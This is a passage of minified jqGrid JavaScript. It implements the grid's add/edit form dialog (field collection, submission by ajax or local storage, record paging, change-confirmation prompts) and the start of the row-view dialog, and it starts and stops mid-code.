"+Y.saveicon[2]+"'></span>"),!0===Y.closeicon[0]&&Z("#cData",l).addClass("right"===Y.closeicon[1]?"fm-button-icon-right":"fm-button-icon-left").append("<span class='"+K.icon_base+" "+Y.closeicon[2]+"'></span>"),($[u.p.id].checkOnSubmit||$[u.p.id].checkOnUpdate)&&(O="<a id='sNew' class='fm-button "+K.button+"' style='z-index:1002'>"+Y.bYes+"</a>",a="<a id='nNew' class='fm-button "+K.button+"' style='z-index:1002;margin-left:5px'>"+Y.bNo+"</a>",P="<a id='cNew' class='fm-button "+K.button+"' style='z-index:1002;margin-left:5px;'>"+Y.bExit+"</a>",S=Y.zIndex||999,S++,Z("#"+v.themodal).append("<div class='"+Y.overlayClass+" jqgrid-overlay confirm' style='z-index:"+S+";display:none;position:absolute;'> </div><div class='confirm ui-jqconfirm "+K.content+"' style='z-index:"+(1+S)+"'>"+Y.saveData+"<br/><br/>"+O+a+P+"</div>"),Z("#sNew","#"+Z.jgrid.jqID(v.themodal)).click(function(){return H(),Z(g).data("disabled",!1),Z(".confirm","#"+Z.jgrid.jqID(v.themodal)).hide(),!1}),Z("#nNew","#"+Z.jgrid.jqID(v.themodal)).click(function(){return Z(".confirm","#"+Z.jgrid.jqID(v.themodal)).hide(),Z(g).data("disabled",!1),setTimeout(function(){Z(":input:visible",g)[0].focus()},0),!1}),Z("#cNew","#"+Z.jgrid.jqID(v.themodal)).click(function(){return Z(".confirm","#"+Z.jgrid.jqID(v.themodal)).hide(),Z(g).data("disabled",!1),Z.jgrid.hideModal("#"+Z.jgrid.jqID(v.themodal),{gb:"#gbox_"+Z.jgrid.jqID(f),jqm:Y.jqModal,onClose:$[u.p.id].onClose,removemodal:$[u.p.id].removemodal,formprop:!$[u.p.id].recreateForm,form:$[u.p.id].form}),!1})),Z(u).triggerHandler("jqGridAddEditInitializeForm",[Z(g),m]),Z.jgrid.isFunction($[u.p.id].onInitializeForm)&&$[u.p.id].onInitializeForm.call(u,Z(g),m),"_empty"!==X&&$[u.p.id].viewPagerButtons?Z("#pData,#nData",l).show():Z("#pData,#nData",l).hide(),Z(u).triggerHandler("jqGridAddEditBeforeShowForm",[Z(g),m]),Z.jgrid.isFunction($[u.p.id].beforeShowForm)&&$[u.p.id].beforeShowForm.call(u,Z(g),m),Q(),Z("#"+Z.jgrid.jqID(v.themodal)).data("onClose",$[u.p.id].onClose),Z.jgrid.viewModal("#"+Z.jgrid.jqID(v.themodal),{gbox:"#gbox_"+Z.jgrid.jqID(f),jqm:Y.jqModal,overlay:Y.overlay,modal:Y.modal,overlayClass:Y.overlayClass,focusField:Y.focusField,onHide:function(e){var t=Z("#editmod"+f)[0].style.width,i=Z("#editmod"+f)[0].style.height,i=["100%","auto"].includes(i)?i:Z.jgrid.floatNum(i,200),t=["100%","auto"].includes(t)?t:Z.jgrid.floatNum(t,300);Z(u).data("formProp",{top:Z.jgrid.floatNum(Z(e.w).css("top")),left:parseFloat(Z(e.w).css("left")),width:t,height:i,dataheight:Z(g).height(),datawidth:Z(g).width()}),e.w.remove(),e.o&&e.o.remove()}}),M||Z("."+Z.jgrid.jqID(Y.overlayClass)).click(function(){return A()&&Z.jgrid.hideModal("#"+Z.jgrid.jqID(v.themodal),{gb:"#gbox_"+Z.jgrid.jqID(f),jqm:Y.jqModal,onClose:$[u.p.id].onClose,removemodal:$[u.p.id].removemodal,formprop:!$[u.p.id].recreateForm,form:$[u.p.id].form}),!1}),Z(".fm-button","#"+Z.jgrid.jqID(v.themodal)).hover(function(){Z(this).addClass(K.hover)},function(){Z(this).removeClass(K.hover)}),Z("#sData",l).click(function(){return h={},Z(".FormError",g).hide(),z(),"_empty"!==h[u.p.id+"_id"]&&!0===Y.checkOnSubmit&&V(h,u.p.savedData)?(Z(g).data("disabled",!0),Z(".confirm","#"+Z.jgrid.jqID(v.themodal)).show()):H(),!1}),Z("#cData",l).click(function(){return A()&&Z.jgrid.hideModal("#"+Z.jgrid.jqID(v.themodal),{gb:"#gbox_"+Z.jgrid.jqID(f),jqm:Y.jqModal,onClose:$[u.p.id].onClose,removemodal:$[u.p.id].removemodal,formprop:!$[u.p.id].recreateForm,form:$[u.p.id].form}),!1}),Z(l).find("[data-index]").each(function(){var t=parseInt(Z(this).attr("data-index"),10);0<=t&&Y.buttons[t].hasOwnProperty("click")&&Z(this).on("click",function(e){Y.buttons[t].click.call(u,Z(g)[0],$[u.p.id],e)})}),Z("#nData",l).click(function(){if(A()){Z(".FormError",g).hide();var e,t=W();if(t[0]=parseInt(t[0],10),-1!==t[0]&&t[1][t[0]+1]){if(Z(u).triggerHandler("jqGridAddEditClickPgButtons",["next",Z(g),t[1][t[0]]]),Z.jgrid.isFunction(Y.onclickPgButtons)&&void 0!==(e=Y.onclickPgButtons.call(u,"next",Z(g),t[1][t[0]]))&&!1===e)return!1;if(Z("#"+Z.jgrid.jqID(t[1][t[0]+1])).hasClass(K.disabled))return!1;E(t[1][t[0]+1],u,g),u.p.multiselect&&$[u.p.id].editselected||Z(u).jqGrid("setSelection",t[1][t[0]+1]),Z(u).triggerHandler("jqGridAddEditAfterClickPgButtons",["next",Z(g),t[1][t[0]]]),Z.jgrid.isFunction(Y.afterclickPgButtons)&&Y.afterclickPgButtons.call(u,"next",Z(g),t[1][t[0]+1]),Q(),L(t[0]+1,t)}}return!1}),Z("#pData",l).click(function(){if(A()){Z(".FormError",g).hide();var e,t=W();if(-1!==t[0]&&t[1][t[0]-1]){if(Z(u).triggerHandler("jqGridAddEditClickPgButtons",["prev",Z(g),t[1][t[0]]]),Z.jgrid.isFunction(Y.onclickPgButtons)&&void 0!==(e=Y.onclickPgButtons.call(u,"prev",Z(g),t[1][t[0]]))&&!1===e)return!1;if(Z("#"+Z.jgrid.jqID(t[1][t[0]-1])).hasClass(K.disabled))return!1;E(t[1][t[0]-1],u,g),u.p.multiselect&&$[u.p.id].editselected||Z(u).jqGrid("setSelection",t[1][t[0]-1]),Z(u).triggerHandler("jqGridAddEditAfterClickPgButtons",["prev",Z(g),t[1][t[0]]]),Z.jgrid.isFunction(Y.afterclickPgButtons)&&Y.afterclickPgButtons.call(u,"prev",Z(g),t[1][t[0]-1]),Q(),L(t[0]-1,t)}}return!1}),Z(u).triggerHandler("jqGridAddEditAfterShowForm",[Z(g),m]),Z.jgrid.isFunction($[u.p.id].afterShowForm)&&$[u.p.id].afterShowForm.call(u,Z(g),m),W());L(t[0],t),this.refreshEditForm=function(e,t){!(t=void 0===t?!1:t)&&X!==e||E(e,this,g),t&&(X=e)}}}function z(){var e,t,a={};for(e in Z(j).find(".FormElement").each(function(){var e,t=Z(".customelement",this);if(t.length){var t=t[0],i=Z(t).attr("name");Z.each(u.p.colModel,function(){if(this.name===i&&this.editoptions&&Z.jgrid.isFunction(this.editoptions.custom_value)){try{var e=this.editoptions.custom_value.call(u,Z("#"+Z.jgrid.jqID(i),j),"get");if("#ignoreme#"!==e){if(void 0===crv)throw"e1";h[i]=e}}catch(e){"e1"===e?Z.jgrid.info_dialog(b.errcap,"function 'custom_value' "+$[Z(this)[0]].p.msg.novalue,$[Z(this)[0]].p.bClose,{styleUI:$[Z(this)[0]].p.styleUI}):Z.jgrid.info_dialog(b.errcap,e.message,$[Z(this)[0]].p.bClose,{styleUI:$[Z(this)[0]].p.styleUI})}return!0}})}else{switch(Z(this).get(0).type){case"checkbox":Z(this).is(":checked")?h[this.name]=Z(this).val():(e=Z(this).attr("offval"),h[this.name]=e);break;case"select-one":h[this.name]=Z(this).val();break;case"select-multiple":h[this.name]=Z(this).val(),h[this.name]=h[this.name]?h[this.name].join(","):"";break;case"radio":if(a.hasOwnProperty(this.name))return!0;a[this.name]=void 0===Z(this).attr("offval")?"off":Z(this).attr("offval");break;default:h[this.name]=Z(this).val()}u.p.autoencode&&(h[this.name]=Z.jgrid.htmlEncode(h[this.name]))}}),a)a.hasOwnProperty(e)&&(t=Z('input[name="'+e+'"]:checked',j).val(),h[e]=void 0!==t?t:a[e],u.p.autoencode)&&(h[e]=Z.jgrid.htmlEncode(h[e]))}function E(i,a,d){var r,o,e,t,n,s,l=0,c=(($[u.p.id].checkOnSubmit||$[u.p.id].checkOnUpdate)&&(u.p.savedData={},u.p.savedData[a.p.id+"_id"]=i),a.p.colModel);"_empty"===i?(Z(c).each(function(){r=this.name,n=Z.extend({},this.editoptions||{}),(e=Z("#"+Z.jgrid.jqID(r),d))&&e.length&&null!==e[0]&&(t="","custom"===this.edittype&&Z.jgrid.isFunction(n.custom_value)?n.custom_value.call(u,Z("#"+r,d),"set",t):n.defaultValue?(t=Z.jgrid.isFunction(n.defaultValue)?n.defaultValue.call(u):n.defaultValue,"checkbox"===e[0].type?(n=t.toLowerCase()).search(/(false|f|0|no|n|off|undefined)/i)<0&&""!==n?(e[0].checked=!0,e[0].defaultChecked=!0,e[0].value=t):(e[0].checked=!1,e[0].defaultChecked=!1):e.val(t)):"checkbox"===e[0].type?(e[0].checked=!1,e[0].defaultChecked=!1,t=Z(e).attr("offval")):e[0].type&&"select"===e[0].type.slice(0,6)?e[0].selectedIndex=0:e.val(t),!0!==$[u.p.id].checkOnSubmit&&!$[u.p.id].checkOnUpdate||(u.p.savedData[r]=t))}),Z("#id_g",d).val(i)):(s=Z(a).jqGrid("getInd",i,!0))&&(Z('td[role="gridcell"]',s).each(function(t){if("cb"!==(r=c[t].name)&&"subgrid"!==r&&"rn"!==r&&!0===c[t].editable&&"sc"!==r){if(r===a.p.ExpandColumn&&!0===a.p.treeGrid)o=Z(this).text();else try{o=Z.unformat.call(a,Z(this),{rowId:i,colModel:c[t]},t)}catch(e){o="textarea"===c[t].edittype?Z(this).text():Z(this).html()}switch(u.p.autoencode&&(o=Z.jgrid.htmlDecode(o)),!0!==$[u.p.id].checkOnSubmit&&!$[u.p.id].checkOnUpdate||(u.p.savedData[r]=o),r=Z.jgrid.jqID(r),c[t].edittype){case"select":var e=o.split(","),e=Z.map(e,function(e){return Z.jgrid.trim(e)});Z("#"+r+" option",d).each(function(){!(c[t].editoptions.multiple||Z.jgrid.trim(o)!==Z.jgrid.trim(Z(this).text())&&e[0]!==Z.jgrid.trim(Z(this).text())&&e[0]!==Z.jgrid.trim(Z(this).val()))||c[t].editoptions.multiple&&(-1<Z.inArray(Z.jgrid.trim(Z(this).text()),e)||-1<Z.inArray(Z.jgrid.trim(Z(this).val()),e))?this.selected=!0:this.selected=!1}),!0!==$[u.p.id].checkOnSubmit&&!$[u.p.id].checkOnUpdate||(o=Z("#"+r,d).val(),c[t].editoptions.multiple&&(o=o.join(",")),u.p.savedData[r]=o);break;case"checkbox":o=String(o),c[t].editoptions&&c[t].editoptions.value?c[t].editoptions.value.split(":")[0]===o?Z("#"+r,d)[u.p.useProp?"prop":"attr"]({checked:!0,defaultChecked:!0}):Z("#"+r,d)[u.p.useProp?"prop":"attr"]({checked:!1,defaultChecked:!1}):(o=o.toLowerCase()).search(/(false|f|0|no|n|off|undefined)/i)<0&&""!==o?(Z("#"+r,d)[u.p.useProp?"prop":"attr"]("checked",!0),Z("#"+r,d)[u.p.useProp?"prop":"attr"]("defaultChecked",!0)):(Z("#"+r,d)[u.p.useProp?"prop":"attr"]("checked",!1),Z("#"+r,d)[u.p.useProp?"prop":"attr"]("defaultChecked",!1)),!0!==$[u.p.id].checkOnSubmit&&!$[u.p.id].checkOnUpdate||(o=Z("#"+r,d).is(":checked")?Z("#"+r,d).val():Z("#"+r,d).attr("offval"),u.p.savedData[r]=o);break;case"custom":try{if(!c[t].editoptions||!Z.jgrid.isFunction(c[t].editoptions.custom_value))throw"e1";c[t].editoptions.custom_value.call(u,Z("#"+r,d),"set",o)}catch(e){"e1"===e?Z.jgrid.info_dialog(b.errcap,"function 'custom_value' "+$[Z(this)[0]].p.msg.nodefined,Z.rp_ge[Z(this)[0]].p.bClose,{styleUI:$[Z(this)[0]].p.styleUI}):Z.jgrid.info_dialog(b.errcap,e.message,Z.rp_ge[Z(this)[0]].p.bClose,{styleUI:$[Z(this)[0]].p.styleUI})}break;default:(" "===o||" "===o||1===o.length&&160===o.charCodeAt(0))&&(o=""),Z("#"+r,d).val(o)}l++}}),0<l)&&(Z("#id_g",j).val(i),!0!==$[u.p.id].checkOnSubmit&&!$[u.p.id].checkOnUpdate||(u.p.savedData[a.p.id+"_id"]=i))}function H(){var d,r,o,e,t,n,i,s=[!0,"",""],a={},l=u.p.prmNames,c=Z(u).triggerHandler("jqGridAddEditBeforeCheckValues",[h,Z(g),m]);if(c&&"object"==typeof c&&(h=c),Z.jgrid.isFunction($[u.p.id].beforeCheckValues)&&(c=$[u.p.id].beforeCheckValues.call(u,h,Z(g),m))&&"object"==typeof c&&(h=c),!$[u.p.id].html5Check||Z.jgrid.validateForm(w[0])){for(e in h)if(h.hasOwnProperty(e)&&!1===(s=Z.jgrid.checkValues.call(u,h[e],e))[0])break;if(Z.each(u.p.colModel,function(e,t){t.editoptions&&!0===t.editoptions.NullIfEmpty&&h.hasOwnProperty(t.name)&&""===h[t.name]&&(h[t.name]="null")}),(s=s[0]&&(void 0===(a=Z(u).triggerHandler("jqGridAddEditClickSubmit",[$[u.p.id],h,m]))&&Z.jgrid.isFunction($[u.p.id].onclickSubmit)&&(a=$[u.p.id].onclickSubmit.call(u,$[u.p.id],h,m)||{}),(s=void 0===(s=Z(u).triggerHandler("jqGridAddEditBeforeSubmit",[h,Z(g),m]))?[!0,"",""]:s)[0])&&Z.jgrid.isFunction($[u.p.id].beforeSubmit)?$[u.p.id].beforeSubmit.call(u,h,Z(g),m):s)[0]&&!$[u.p.id].processing){if($[u.p.id].processing=!0,Z("#sData",j+"_2").addClass(K.active),c=$[u.p.id].url||Z(u).jqGrid("getGridParam","editurl"),o=l.oper,r="clientArray"===c||"storage"===c?u.p.keyName:l.id,h[o]="_empty"===Z.jgrid.trim(h[u.p.id+"_id"])?l.addoper:l.editoper,(h[o]!==l.addoper||void 0===h[r])&&(h[r]=h[u.p.id+"_id"]),delete h[u.p.id+"_id"],h=Z.extend(h,$[u.p.id].editData,a),!0===u.p.treeGrid)for(t in h[o]===l.addoper&&(n=Z(u).jqGrid("getGridParam","selrow"),a="adjacency"===u.p.treeGridModel?u.p.treeReader.parent_id_field:"parent_id",h[a]=n),u.p.treeReader)u.p.treeReader.hasOwnProperty(t)&&(i=u.p.treeReader[t],!h.hasOwnProperty(i)||h[o]===l.addoper&&"parent_id_field"===t||delete h[i]);h[r]=Z.jgrid.stripPref(u.p.idPrefix,h[r]);var p=Z.extend({url:c,type:$[u.p.id].mtype,data:Z.jgrid.isFunction($[u.p.id].serializeEditData)?$[u.p.id].serializeEditData.call(u,h):h,success:function(e,t,i){if(Z("#sData",j+"_2").removeClass(K.active),h[r]=u.p.idPrefix+h[r],300<=i.status&&304!==i.status?(s[0]=!1,s[1]=Z(u).triggerHandler("jqGridAddEditErrorTextFormat",[i,m]),Z.jgrid.isFunction($[u.p.id].errorTextFormat)?s[1]=$[u.p.id].errorTextFormat.call(u,i,m):s[1]=t+" Status: '"+i.statusText+"'. Error code: "+i.status):(s=void 0===(s=Z(u).triggerHandler("jqGridAddEditAfterSubmit",[i,h,m]))?[!0,"",""]:s)[0]&&Z.jgrid.isFunction($[u.p.id].afterSubmit)&&(s=$[u.p.id].afterSubmit.call(u,i,h,m)),!1===s[0])Z(".FormError",g).html(s[1]),Z(".FormError",g).show();else if(u.p.autoencode&&Z.each(h,function(e,t){h[e]=Z.jgrid.htmlDecode(t)}),h[o]===l.addoper?(s[2]||(s[2]=Z.jgrid.randId()),null==h[r]||h[r]===u.p.idPrefix+"_empty"||""===h[r]?h[r]=s[2]:s[2]=h[r],$[u.p.id].reloadAfterSubmit?Z(u).trigger("reloadGrid"):!0===u.p.treeGrid?Z(u).jqGrid("addChildNode",s[2],n,h):Z(u).jqGrid("addRowData",s[2],h,Y.addedrow),$[u.p.id].closeAfterAdd?(!0!==u.p.treeGrid&&Z(u).jqGrid("setSelection",s[2]),Z.jgrid.hideModal("#"+Z.jgrid.jqID(v.themodal),{gb:"#gbox_"+Z.jgrid.jqID(f),jqm:Y.jqModal,onClose:$[u.p.id].onClose,removemodal:$[u.p.id].removemodal,formprop:!$[u.p.id].recreateForm,form:$[u.p.id].form})):$[u.p.id].clearAfterAdd&&E("_empty",u,g)):($[u.p.id].reloadAfterSubmit?(Z(u).trigger("reloadGrid"),$[u.p.id].closeAfterEdit||setTimeout(function(){Z(u).jqGrid("setSelection",h[r])},1e3)):!0===u.p.treeGrid?Z(u).jqGrid("setTreeRow",h[r],h):Z(u).jqGrid("setRowData",h[r],h),$[u.p.id].closeAfterEdit&&Z.jgrid.hideModal("#"+Z.jgrid.jqID(v.themodal),{gb:"#gbox_"+Z.jgrid.jqID(f),jqm:Y.jqModal,onClose:$[u.p.id].onClose,removemodal:$[u.p.id].removemodal,formprop:!$[u.p.id].recreateForm,form:$[u.p.id].form})),(Z.jgrid.isFunction($[u.p.id].afterComplete)||Object.prototype.hasOwnProperty.call(Z._data(Z(u)[0],"events"),"jqGridAddEditAfterComplete"))&&(d=i,setTimeout(function(){Z(u).triggerHandler("jqGridAddEditAfterComplete",[d,h,Z(g),m]);try{$[u.p.id].afterComplete.call(u,d,h,Z(g),m)}catch(e){}d=null},500)),($[u.p.id].checkOnSubmit||$[u.p.id].checkOnUpdate)&&(Z(g).data("disabled",!1),"_empty"!==u.p.savedData[u.p.id+"_id"]))for(var a in u.p.savedData)u.p.savedData.hasOwnProperty(a)&&h[a]&&(u.p.savedData[a]=h[a]);$[u.p.id].processing=!1;try{Z(":input:visible",g)[0].focus()}catch(e){}}},Z.jgrid.ajaxOptions,$[u.p.id].ajaxEditOptions);p.url||$[u.p.id].useDataProxy||(Z.jgrid.isFunction(u.p.dataProxy)?$[u.p.id].useDataProxy=!0:(s[0]=!1,s[1]+=" "+b.nourl)),s[0]&&($[u.p.id].useDataProxy?!1===(a=void 0===(a=u.p.dataProxy.call(u,p,"set_"+u.p.id))?[!0,""]:a)[0]?(s[0]=!1,s[1]=a[1]||"Error processing the row!"):(p.data.oper===l.addoper&&$[u.p.id].closeAfterAdd&&Z.jgrid.hideModal("#"+Z.jgrid.jqID(v.themodal),{gb:"#gbox_"+Z.jgrid.jqID(f),jqm:Y.jqModal,onClose:$[u.p.id].onClose,removemodal:$[u.p.id].removemodal,formprop:!$[u.p.id].recreateForm,form:$[u.p.id].form}),p.data.oper===l.editoper&&$[u.p.id].closeAfterEdit&&Z.jgrid.hideModal("#"+Z.jgrid.jqID(v.themodal),{gb:"#gbox_"+Z.jgrid.jqID(f),jqm:Y.jqModal,onClose:$[u.p.id].onClose,removemodal:$[u.p.id].removemodal,formprop:!$[u.p.id].recreateForm,form:$[u.p.id].form})):"clientArray"===p.url?($[u.p.id].reloadAfterSubmit=!1,h=p.data,p.success(h,"",{status:200,statusText:""})):"storage"===p.url?h[o]===l.addoper?("_empty"===h[r]&&(h[r]=""),Z(u).jqGrid("addStorageRecord",h).then(function(e){"complete"===e.type&&p.success(h,"",{status:200,statusText:""})}).catch(function(e){Z.jgrid.info_dialog("Error",e.target.error.name+" : "+e.target.error.message,"Close")})):h[o]===l.editoper&&Z(u).jqGrid("updateStorageRecord",h).then(function(e){"complete"===e.type&&p.success(h,"",{status:200,statusText:""})}).catch(function(e){Z.jgrid.info_dialog("Error",e.target.error.name+" : "+e.target.error.message,"Close")}):Z.ajax(p))}!1===s[0]&&(Z(g).scrollTop(0),Z(".FormError",g).html(s[1]),Z(".FormError",g).show())}}function V(e,t){var i,a=!1;if(!(a=!(Z.isPlainObject(e)&&Z.isPlainObject(t)&&Object.getOwnPropertyNames(e).length===Object.getOwnPropertyNames(t).length)))for(i in t)if(t.hasOwnProperty(i)){if(!e.hasOwnProperty(i)){a=!0;break}if(e[i]!==t[i]){a=!0;break}}return a}function A(){var e=!0;return Z(".FormError",g).hide(),$[u.p.id].checkOnUpdate&&(h={},z(),V(h,u.p.savedData))&&(Z(g).data("disabled",!0),Z(".confirm","#"+v.themodal).show(),e=!1),e}function L(e,t){var i=t[1].length-1;0===e||void 0!==t[1][e-1]&&Z("#"+Z.jgrid.jqID(t[1][e-1])).hasClass(K.disabled)?Z("#pData",l).addClass(K.disabled):Z("#pData",l).removeClass(K.disabled),e===i||void 0!==t[1][e+1]&&Z("#"+Z.jgrid.jqID(t[1][e+1])).hasClass(K.disabled)?Z("#nData",l).addClass(K.disabled):Z("#nData",l).removeClass(K.disabled)}function W(){var e=Z(u).jqGrid("getDataIDs"),t=Z("#id_g",j).val();if(u.p.multiselect&&$[u.p.id].editselected){for(var i=[],a=0,d=e.length;a<d;a++)-1!==Z.inArray(e[a],u.p.selarrrow)&&i.push(e[a]);return[Z.inArray(t,i),i]}return[Z.inArray(t,e),e]}function Q(){if($[u.p.id].checkOnSubmit||$[u.p.id].checkOnUpdate){var e,t,i=[],a={},i=Z.map(u.p.savedData,function(e,t){return t});for(e in Z(".FormElement",w).each(function(){if(""!==Z.jgrid.trim(this.name)&&-1===i.indexOf(this.name)){var e=Z(this).val(),t=Z(this).get(0).type;if("checkbox"===t)Z(this).is(":checked")||(e=Z(this).attr("offval"));else if("select-multiple"===t)e=e.join(",");else if("radio"===t){if(a.hasOwnProperty(this.name))return!0;a[this.name]=void 0===Z(this).attr("offval")?"off":Z(this).attr("offval")}u.p.savedData[this.name]=e}}),a)a.hasOwnProperty(e)&&(t=Z('input[name="'+e+'"]:checked',w).val(),u.p.savedData[e]=void 0!==t?t:a[e])}}})},viewGridRow:function(R,T){var e=Z.jgrid.getRegional(this[0],"view"),t=this[0].p.styleUI,U=Z.jgrid.styleUI[t].formedit,N=Z.jgrid.styleUI[t].common;return T=Z.extend(!0,{top:0,left:0,width:500,datawidth:"auto",height:"auto",dataheight:"auto",modal:!1,overlay:30,drag:!0,resize:!0,jqModal:!0,closeOnEscape:!1,labelswidth:"auto",closeicon:[],navkeys:[!1,38,40],onClose:null,beforeShowForm:null,beforeInitData:null,viewPagerButtons:!0,recreateForm:!1,removemodal:!0,form:"view",buttons:[]},e,T||{}),$[Z(this)[0].p.id]=T,this.each(function(){var r=this;if(r.grid&&R){var a=r.p.id,d="ViewGrid_"+Z.jgrid.jqID(a),n="ViewTbl_"+Z.jgrid.jqID(a),i="ViewGrid_"+a,e="ViewTbl_"+a,t={themodal:"viewmod"+a,modalhead:"viewhd"+a,modalcontent:"viewcnt"+a,scrollelm:d},o=!0,s=1,l=0,c=($[r.p.id].styleUI=r.p.styleUI||"jQueryUI",T.recreateForm||Z(r).data("viewProp")&&Z.extend($[Z(this)[0].p.id],Z(r).data("viewProp")),isNaN($[Z(this)[0].p.id].dataheight)?$[Z(this)[0].p.id].dataheight:$[Z(this)[0].p.id].dataheight+"px"),p=isNaN($[Z(this)[0].p.id].datawidth)?$[Z(this)[0].p.id].datawidth:$[Z(this)[0].p.id].datawidth+"px",p=Z("<form name='FormPost' id='"+i+"' class='FormGrid' style='width:"+p+";height:"+c+";'></form>"),u=Z("<table id='"+e+"' class='EditTable ViewTable'><tbody></tbody></table>");if(Z(r.p.colModel).each(function(){var e=this.formoptions;s=Math.max(s,e&&e.colpos||0),l=Math.max(l,e&&e.rowpos||0)}),Z(p).append(u),!1!==(o=(o=void 0===(o=Z(r).triggerHandler("jqGridViewRowBeforeInitData",[p]))?!0:o)&&Z.jgrid.isFunction($[r.p.id].beforeInitData)?$[r.p.id].beforeInitData.call(r,p):o)){for(var h,m,f,g,j,v,b,w,c=R,D=r,y=u,q=s,x=0,_="<td class='CaptionTD form-view-label "+N.content+"' width='"+T.labelswidth+"'></td><td class='DataTD form-view-data ui-helper-reset "+N.content+"'></td>",I="",M="<td class='CaptionTD form-view-label "+N.content+"'></td><td class='DataTD form-view-data "+N.content+"'></td>",B=["integer","number","currency"],k=0,C=0,F=1;F<=q;F++)I+=1===F?_:M;Z(D.p.colModel).each(function(){(m=(!this.editrules||!0!==this.editrules.edithidden)&&!0===this.hidden)||"right"!==this.align||(this.formatter&&-1!==Z.inArray(this.formatter,B)?k=Math.max(k,parseInt(this.width,10)):C=Math.max(C,parseInt(this.width,10)))}),v=0!==k?k:0!==C?C:0,j=Z(D).jqGrid("getInd",c),Z(D.p.colModel).each(function(e){var t,i,a,d;h=this.name,m=(!this.editrules||!0!==this.editrules.edithidden)&&!0===this.hidden,g=m?"style='display:none'":"",w="boolean"!=typeof this.viewable||this.viewable,"cb"!==h&&"subgrid"!==h&&"rn"!==h&&w&&"sc"!==h&&(w=!1===j?"":h===D.p.ExpandColumn&&!0===D.p.treeGrid?Z("td",D.rows[j]).eq(e).text():Z("td",D.rows[j]).eq(e).html(),b="right"===this.align&&0!==v,t=Z.extend({},{rowabove:!1,rowcontent:""},this.formoptions||{}),i=parseInt(t.rowpos,10)||x+1,a=parseInt(2*(parseInt(t.colpos,10)||1),10),t.rowabove&&(d=Z("<tr><td class='contentinfo' colspan='"+2*q+"'>"+t.rowcontent+"</td></tr>"),Z(y).append(d),d[0].rp=i),0===(f=Z(y).find("tr[rowpos="+i+"]")).length&&(f=Z("<tr "+g+" rowpos='"+i+"'></tr>").addClass("FormData").attr("id","trv_"+h),Z(f).append(I),Z(y).append(f),f[0].rp=i),Z("td",f[0]).eq(a-2).html("<b>"+(void 0===t.label?D.p.colNames[e]:t.label)+"</b>"),Z("td",f[0]).eq(a-1).append("<span>"+w+"</span>").attr("id","v_"+h),b&&Z("td",f[0]).eq(a-1).find("span").css({"text-align":"right",width:v+"px"}),x,x++)}),0<x&&((c=Z("<tr class='FormData' style='display:none'><td class='CaptionTD'></td><td colspan='"+(2*q-1)+"' class='DataTD'><input class='FormElement' id='id_g' type='text' name='id' value='"+c+"'/></td></tr>"))[0].rp=x+99,Z(y).append(c));var G,e="rtl"===r.p.direction,o="<a id='"+(e?"nData":"pData")+"' class='fm-button "+N.button+"'><span class='"+N.icon_base+" "+U.icon_prev+"'></span></a>",c="<a id='"+(e?"pData":"nData")+"' class='fm-button "+N.button+"'><span class='"+N.icon_base+" "+U.icon_next+"'></span></a>",O="<a id='cData' class='fm-button "+N.button+"'>"+T.bClose+"</a>",O=Array.isArray($[r.p.id].buttons)?Z.jgrid.buildButtons($[r.p.id].buttons,O,N):O,p=(0<l&&(G=[],Z.each(Z(u)[0].rows,function(e,t){G[e]=t}),G.sort(function(e,t){return e.rp>t.rp?1:e.rp<t.rp?-1:0}),Z.each(G,function(e,t){Z("tbody",u).append(t)})),T.gbox="#gbox_"+Z.jgrid.jqID(a),Z("<div></div>").append(p).append("<table border='0' class='EditTable' id='"+n+"_2'><tbody><tr id='Act_Buttons'><td class='navButton' width='"+T.labelswidth+"'>"+(e?c+o:o+c)+"</td><td class='EditButton'>"+O+"</td></tr></tbody></table>")),o=Z(".ui-jqgrid").css("font-size")||"11px",c=(Z.jgrid.createModal(t,p,$[Z(this)[0].p.id],"#gview_"+Z.jgrid.jqID(r.p.id),Z("#gview_"+Z.jgrid.jqID(r.p.id))[0],null,{"font-size":o}),e&&(Z("#pData, #nData","#"+n+"_2").css("float","right"),Z(".EditButton","#"+n+"_2").css("text-align","left")),T.viewPagerButtons||Z("#pData, #nData","#"+n+"_2").hide(),Z("#"+t.themodal).keydown(function(e){return 27===e.which?($[r.p.id].closeOnEscape&&Z.jgrid.hideModal("#"+Z.jgrid.jqID(t.themodal),{gb:T.gbox,jqm:T.jqModal,onClose:T.onClose,removemodal:$[r.p.id].removemodal,formprop:!$[r.p.id].recreateForm,form:$[r.p.id].form}),!1):!0===T.navkeys[0]?e.which===T.navkeys[1]?(Z("#pData","#"+n+"_2").trigger("click"),!1):e.which===T.navkeys[2]?(Z("#nData","#"+n+"_2").trigger("click"),!1):void 0:void 0}),T.closeicon=Z.extend([!0,"left",U.icon_close],T.closeicon),!0===T.closeicon[0]&&Z("#cData","#"+n+"_2").addClass("right"===T.closeicon[1]?"fm-button-icon-right":"fm-button-icon-left").append("<span class='"+N.icon_base+" "+T.closeicon[2]+"'></span>"),Z(r).triggerHandler("jqGridViewRowBeforeShowForm",[Z("#"+d)]),Z.jgrid.isFunction(T.beforeShowForm)&&T.beforeShowForm.call(r,Z("#"+d)),Z.jgrid.viewModal("#"+Z.jgrid.jqID(t.themodal),{gbox:"#gbox_"+Z.jgrid.jqID(a),jqm:T.jqModal,overlay:T.overlay,modal:T.modal,onHide:function(e){var t="rtl"===Z("#gbox_"+Z.jgrid.jqID(a)).attr("dir"),i=parseFloat(Z("#viewmod"+a)[0].style.width);Z(r).data("viewProp",{top:parseFloat(Z(e.w).css("top")),left:t?Z("#gbox_"+Z.jgrid.jqID(a)).outerWidth()-i-parseFloat(Z(e.w).css("left"))+12:parseFloat(Z(e.w).css("left")),width:Z(e.w).width(),height:Z(e.w).height(),dataheight:Z("#"+d).height(),datawidth:Z("#"+d).width()}),e.w.remove(),e.o&&e.o.remove()}}),Z(".fm-button:not(."+N.disabled+")","#"+n+"_2").hover(function(){Z(this).addClass(N.hover)},function(){Z(this).removeClass(N.hover)}),P(),Z("#cData","#"+n+"_2").click(function(){return Z.jgrid.hideModal("#"+Z.jgrid.jqID(t.themodal),{gb:"#gbox_"+Z.jgrid.jqID(a),jqm:T.jqModal,onClose:T.onClose,removemodal:$[r.p.id].removemodal,formprop:!$[r.p.id].recreateForm,form:$[r.p.id].form}),!1}),Z("#"+n+"_2").find("[data-index]").each(function(){var t=parseInt(Z(this).attr("data-index"),10);0<=t&&T.buttons[t].hasOwnProperty("click")&&Z(this).on("click",function(e){T.buttons[t].click.call(r,Z("#"+i)[0],$[r.p.id],e)})}),Z("#nData","#"+n+"_2").click(function(){Z("#FormError","#"+n).hide();var e=A();return 